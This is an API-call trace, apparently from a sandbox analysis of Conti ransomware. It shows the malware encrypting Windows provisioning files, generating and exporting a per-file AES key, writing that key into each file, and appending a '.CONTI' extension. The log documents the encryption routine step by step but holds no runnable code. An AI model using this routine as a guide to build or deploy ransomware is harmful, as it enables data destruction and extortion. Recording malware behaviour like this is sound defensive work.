	[0109.973] WriteFile (in: hFile=0x3d0, lpBuffer=0x6b748b0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x34ffab0, lpOverlapped=0x0 | out: lpBuffer=0x6b748b0*, lpNumberOfBytesWritten=0x34ffab0*=0x8, lpOverlapped=0x0) returned 1
	[0109.973] SetFilePointer (in: hFile=0x3d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.973] CloseHandle (hObject=0x3d0) returned 1
	[0109.973] GetProcessHeap () returned 0x1720000
	[0109.973] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b5a068
	[0109.973] lstrcpyW (in: lpString1=0x6b5a068, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\283__Connections_Cellular_KPN-Hi (Netherlands)_i15$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\283__Connections_Cellular_KPN-Hi (Netherlands)_i15$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\283__Connections_Cellular_KPN-Hi (Netherlands)_i15$(__MVID)@WAP.provxml"
	[0109.973] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\283__Connections_Cellular_KPN-Hi (Netherlands)_i15$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\283__Connections_Cellular_KPN-Hi (Netherlands)_i15$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\283__Connections_Cellular_KPN-Hi (Netherlands)_i15$(__MVID)@WAP.provxml.CONTI"
	[0109.973] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\283__Connections_Cellular_KPN-Hi (Netherlands)_i15$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\283__connections_cellular_kpn-hi (netherlands)_i15$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\283__Connections_Cellular_KPN-Hi (Netherlands)_i15$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\283__connections_cellular_kpn-hi (netherlands)_i15$(__mvid)@wap.provxml.conti")) returned 1
	[0109.974] GetProcessHeap () returned 0x1720000
	[0109.974] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b5a068 | out: hHeap=0x1720000) returned 1
	[0109.974] CryptDestroyKey (hKey=0x6b7f3b8) returned 1
	[0109.974] GetProcessHeap () returned 0x1720000
	[0109.974] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b72c98 | out: hHeap=0x1720000) returned 1
	[0109.974] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x34ffad4, lpCompletionKey=0x34ffad8, lpOverlapped=0x34ffae4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x34ffad4, lpCompletionKey=0x34ffad8, lpOverlapped=0x34ffae4) returned 1
	[0109.974] CryptGenKey (in: hProv=0x1733ae8, Algid=0x6610, dwFlags=0x1, phKey=0x6b781c0 | out: phKey=0x6b781c0*=0x6b7f3b8) returned 1
	[0109.974] CryptExportKey (in: hKey=0x6b7f3b8, hExpKey=0x173aad0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b781c4, pdwDataLen=0x34ffaac | out: pbData=0x6b781c4*, pdwDataLen=0x34ffaac*=0x20c) returned 1
	[0109.975] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\284__Connections_Cellular_KPN-Hi (Netherlands)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\284__connections_cellular_kpn-hi (netherlands)_i2$(__mvid)@wap.provxml")) returned 0x20
	[0109.975] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\284__Connections_Cellular_KPN-Hi (Netherlands)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\284__connections_cellular_kpn-hi (netherlands)_i2$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0
	[0109.975] GetLastError () returned 0x0
	[0109.975] GetFileSizeEx (in: hFile=0x3d0, lpFileSize=0x34ffa58 | out: lpFileSize=0x34ffa58*=727) returned 1
	[0109.975] SetFilePointer (in: hFile=0x3d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2d7
	[0109.975] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x22d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0109.975] SetEndOfFile (hFile=0x3d0) returned 1
	[0109.976] SetFilePointer (in: hFile=0x3d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.976] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0109.976] WriteFile (in: hFile=0x3d0, lpBuffer=0x6b781c4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x34ffa64, lpOverlapped=0x0 | out: lpBuffer=0x6b781c4*, lpNumberOfBytesWritten=0x34ffa64*=0x20c, lpOverlapped=0x0) returned 1
	[0109.977] SetFilePointer (in: hFile=0x3d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.978] ReadFile (in: hFile=0x3d0, lpBuffer=0x5c40000, nNumberOfBytesToRead=0x2d7, lpNumberOfBytesRead=0x34ffa84, lpOverlapped=0x0 | out: lpBuffer=0x5c40000*, lpNumberOfBytesRead=0x34ffa84*=0x2d7, lpOverlapped=0x0) returned 1
	[0109.978] CryptEncrypt (in: hKey=0x6b7f3b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c40000*, pdwDataLen=0x34ffa7c*=0x2d7, dwBufLen=0x500000 | out: pbData=0x5c40000*, pdwDataLen=0x34ffa7c*=0x2e0) returned 1
	[0109.978] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0109.978] WriteFile (in: hFile=0x3d0, lpBuffer=0x5c40000*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x34ffa98, lpOverlapped=0x0 | out: lpBuffer=0x5c40000*, lpNumberOfBytesWritten=0x34ffa98*=0x2e0, lpOverlapped=0x0) returned 1
	[0109.978] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0109.978] WriteFile (in: hFile=0x3d0, lpBuffer=0x6b781b8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x34ffab0, lpOverlapped=0x0 | out: lpBuffer=0x6b781b8*, lpNumberOfBytesWritten=0x34ffab0*=0x8, lpOverlapped=0x0) returned 1
	[0109.978] SetFilePointer (in: hFile=0x3d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.978] CloseHandle (hObject=0x3d0) returned 1
	[0109.978] GetProcessHeap () returned 0x1720000
	[0109.978] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b5a068
	[0109.978] lstrcpyW (in: lpString1=0x6b5a068, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\284__Connections_Cellular_KPN-Hi (Netherlands)_i2$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\284__Connections_Cellular_KPN-Hi (Netherlands)_i2$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\284__Connections_Cellular_KPN-Hi (Netherlands)_i2$(__MVID)@WAP.provxml"
	[0109.978] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\284__Connections_Cellular_KPN-Hi (Netherlands)_i2$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\284__Connections_Cellular_KPN-Hi (Netherlands)_i2$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\284__Connections_Cellular_KPN-Hi (Netherlands)_i2$(__MVID)@WAP.provxml.CONTI"
	[0109.978] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\284__Connections_Cellular_KPN-Hi (Netherlands)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\284__connections_cellular_kpn-hi (netherlands)_i2$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\284__Connections_Cellular_KPN-Hi (Netherlands)_i2$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\284__connections_cellular_kpn-hi (netherlands)_i2$(__mvid)@wap.provxml.conti")) returned 1
	[0109.979] GetProcessHeap () returned 0x1720000
	[0109.979] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b5a068 | out: hHeap=0x1720000) returned 1
	[0109.979] CryptDestroyKey (hKey=0x6b7f3b8) returned 1
	[0109.979] GetProcessHeap () returned 0x1720000
	[0109.979] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b73600 | out: hHeap=0x1720000) returned 1
	[0109.979] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x34ffad4, lpCompletionKey=0x34ffad8, lpOverlapped=0x34ffae4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x34ffad4, lpCompletionKey=0x34ffad8, lpOverlapped=0x34ffae4) returned 1
	[0109.979] CryptGenKey (in: hProv=0x1733ae8, Algid=0x6610, dwFlags=0x1, phKey=0x6b75668 | out: phKey=0x6b75668*=0x6b7f638) returned 1
	[0109.979] CryptExportKey (in: hKey=0x6b7f638, hExpKey=0x173aad0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b7566c, pdwDataLen=0x34ffaac | out: pbData=0x6b7566c*, pdwDataLen=0x34ffaac*=0x20c) returned 1
	[0110.028] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\285__Connections_Cellular_KPN-Hi (Netherlands)_i3$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\285__connections_cellular_kpn-hi (netherlands)_i3$(__mvid)@wap.provxml")) returned 0x20
	[0110.028] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\285__Connections_Cellular_KPN-Hi (Netherlands)_i3$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\285__connections_cellular_kpn-hi (netherlands)_i3$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0
	[0110.028] GetLastError () returned 0x0
	[0110.028] GetFileSizeEx (in: hFile=0x3d0, lpFileSize=0x34ffa58 | out: lpFileSize=0x34ffa58*=717) returned 1
	[0110.028] SetFilePointer (in: hFile=0x3d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2cd
	[0110.028] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x227, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.028] SetEndOfFile (hFile=0x3d0) returned 1
	[0110.029] SetFilePointer (in: hFile=0x3d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.029] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.029] WriteFile (in: hFile=0x3d0, lpBuffer=0x6b7566c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x34ffa64, lpOverlapped=0x0 | out: lpBuffer=0x6b7566c*, lpNumberOfBytesWritten=0x34ffa64*=0x20c, lpOverlapped=0x0) returned 1
	[0110.033] SetFilePointer (in: hFile=0x3d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.033] ReadFile (in: hFile=0x3d0, lpBuffer=0x5c40000, nNumberOfBytesToRead=0x2cd, lpNumberOfBytesRead=0x34ffa84, lpOverlapped=0x0 | out: lpBuffer=0x5c40000*, lpNumberOfBytesRead=0x34ffa84*=0x2cd, lpOverlapped=0x0) returned 1
	[0110.033] CryptEncrypt (in: hKey=0x6b7f638, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c40000*, pdwDataLen=0x34ffa7c*=0x2cd, dwBufLen=0x500000 | out: pbData=0x5c40000*, pdwDataLen=0x34ffa7c*=0x2d0) returned 1
	[0110.033] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.033] WriteFile (in: hFile=0x3d0, lpBuffer=0x5c40000*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x34ffa98, lpOverlapped=0x0 | out: lpBuffer=0x5c40000*, lpNumberOfBytesWritten=0x34ffa98*=0x2d0, lpOverlapped=0x0) returned 1
	[0110.033] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.033] WriteFile (in: hFile=0x3d0, lpBuffer=0x6b75660*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x34ffab0, lpOverlapped=0x0 | out: lpBuffer=0x6b75660*, lpNumberOfBytesWritten=0x34ffab0*=0x8, lpOverlapped=0x0) returned 1
	[0110.033] SetFilePointer (in: hFile=0x3d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.033] CloseHandle (hObject=0x3d0) returned 1
	[0110.035] GetProcessHeap () returned 0x1720000
	[0110.035] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b5a068
	[0110.035] lstrcpyW (in: lpString1=0x6b5a068, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\285__Connections_Cellular_KPN-Hi (Netherlands)_i3$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\285__Connections_Cellular_KPN-Hi (Netherlands)_i3$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\285__Connections_Cellular_KPN-Hi (Netherlands)_i3$(__MVID)@WAP.provxml"
	[0110.035] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\285__Connections_Cellular_KPN-Hi (Netherlands)_i3$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\285__Connections_Cellular_KPN-Hi (Netherlands)_i3$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\285__Connections_Cellular_KPN-Hi (Netherlands)_i3$(__MVID)@WAP.provxml.CONTI"
	[0110.035] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\285__Connections_Cellular_KPN-Hi (Netherlands)_i3$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\285__connections_cellular_kpn-hi (netherlands)_i3$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\285__Connections_Cellular_KPN-Hi (Netherlands)_i3$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\285__connections_cellular_kpn-hi (netherlands)_i3$(__mvid)@wap.provxml.conti")) returned 1
	[0110.035] GetProcessHeap () returned 0x1720000
	[0110.035] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b5a068 | out: hHeap=0x1720000) returned 1
	[0110.036] CryptDestroyKey (hKey=0x6b7f638) returned 1
	[0110.036] GetProcessHeap () returned 0x1720000
	[0110.036] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b74370 | out: hHeap=0x1720000) returned 1
	[0110.036] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x34ffad4, lpCompletionKey=0x34ffad8, lpOverlapped=0x34ffae4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x34ffad4, lpCompletionKey=0x34ffad8, lpOverlapped=0x34ffae4) returned 1
	[0110.036] CryptGenKey (in: hProv=0x1733ae8, Algid=0x6610, dwFlags=0x1, phKey=0x6b74b00 | out: phKey=0x6b74b00*=0x6b7f638) returned 1
	[0110.036] CryptExportKey (in: hKey=0x6b7f638, hExpKey=0x173aad0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b74b04, pdwDataLen=0x34ffaac | out: pbData=0x6b74b04*, pdwDataLen=0x34ffaac*=0x20c) returned 1
	[0110.036] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\286__Connections_Cellular_KPN-Hi (Netherlands)_i4$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\286__connections_cellular_kpn-hi (netherlands)_i4$(__mvid)@wap.provxml")) returned 0x20
	[0110.037] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\286__Connections_Cellular_KPN-Hi (Netherlands)_i4$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\286__connections_cellular_kpn-hi (netherlands)_i4$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0
	[0110.037] GetLastError () returned 0x0
	[0110.037] GetFileSizeEx (in: hFile=0x3d0, lpFileSize=0x34ffa58 | out: lpFileSize=0x34ffa58*=729) returned 1
	[0110.037] SetFilePointer (in: hFile=0x3d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2d9
	[0110.037] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x22b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.037] SetEndOfFile (hFile=0x3d0) returned 1
	[0110.037] SetFilePointer (in: hFile=0x3d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.037] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.037] WriteFile (in: hFile=0x3d0, lpBuffer=0x6b74b04*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x34ffa64, lpOverlapped=0x0 | out: lpBuffer=0x6b74b04*, lpNumberOfBytesWritten=0x34ffa64*=0x20c, lpOverlapped=0x0) returned 1
	[0110.479] SetFilePointer (in: hFile=0x3d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.479] ReadFile (in: hFile=0x3d0, lpBuffer=0x5c40000, nNumberOfBytesToRead=0x2d9, lpNumberOfBytesRead=0x34ffa84, lpOverlapped=0x0 | out: lpBuffer=0x5c40000*, lpNumberOfBytesRead=0x34ffa84*=0x2d9, lpOverlapped=0x0) returned 1
	[0110.479] CryptEncrypt (in: hKey=0x6b7f638, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c40000*, pdwDataLen=0x34ffa7c*=0x2d9, dwBufLen=0x500000 | out: pbData=0x5c40000*, pdwDataLen=0x34ffa7c*=0x2e0) returned 1
	[0110.479] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.479] WriteFile (in: hFile=0x3d0, lpBuffer=0x5c40000*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x34ffa98, lpOverlapped=0x0 | out: lpBuffer=0x5c40000*, lpNumberOfBytesWritten=0x34ffa98*=0x2e0, lpOverlapped=0x0) returned 1
	[0110.479] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.480] WriteFile (in: hFile=0x3d0, lpBuffer=0x6b74af8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x34ffab0, lpOverlapped=0x0 | out: lpBuffer=0x6b74af8*, lpNumberOfBytesWritten=0x34ffab0*=0x8, lpOverlapped=0x0) returned 1
	[0110.480] SetFilePointer (in: hFile=0x3d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.480] CloseHandle (hObject=0x3d0) returned 1
	[0110.480] GetProcessHeap () returned 0x1720000
	[0110.480] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x653b900
	[0110.653] lstrcpyW (in: lpString1=0x653b900, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\286__Connections_Cellular_KPN-Hi (Netherlands)_i4$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\286__Connections_Cellular_KPN-Hi (Netherlands)_i4$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\286__Connections_Cellular_KPN-Hi (Netherlands)_i4$(__MVID)@WAP.provxml"
	[0110.653] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\286__Connections_Cellular_KPN-Hi (Netherlands)_i4$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\286__Connections_Cellular_KPN-Hi (Netherlands)_i4$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\286__Connections_Cellular_KPN-Hi (Netherlands)_i4$(__MVID)@WAP.provxml.CONTI"
	[0110.653] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\286__Connections_Cellular_KPN-Hi (Netherlands)_i4$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\286__connections_cellular_kpn-hi (netherlands)_i4$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\286__Connections_Cellular_KPN-Hi (Netherlands)_i4$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\286__connections_cellular_kpn-hi (netherlands)_i4$(__mvid)@wap.provxml.conti")) returned 1
	[0110.654] GetProcessHeap () returned 0x1720000
	[0110.654] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x653b900 | out: hHeap=0x1720000) returned 1
	[0110.654] CryptDestroyKey (hKey=0x6b7f638) returned 1
	[0110.654] GetProcessHeap () returned 0x1720000
	[0110.654] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b72df0 | out: hHeap=0x1720000) returned 1
	[0110.654] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x34ffad4, lpCompletionKey=0x34ffad8, lpOverlapped=0x34ffae4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x34ffad4, lpCompletionKey=0x34ffad8, lpOverlapped=0x34ffae4) returned 1
	[0110.654] CryptGenKey (in: hProv=0x1733ae8, Algid=0x6610, dwFlags=0x1, phKey=0x6565390 | out: phKey=0x6565390*=0x17c8330) returned 1
	[0110.654] CryptExportKey (in: hKey=0x17c8330, hExpKey=0x173aad0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6565394, pdwDataLen=0x34ffaac | out: pbData=0x6565394*, pdwDataLen=0x34ffaac*=0x20c) returned 1
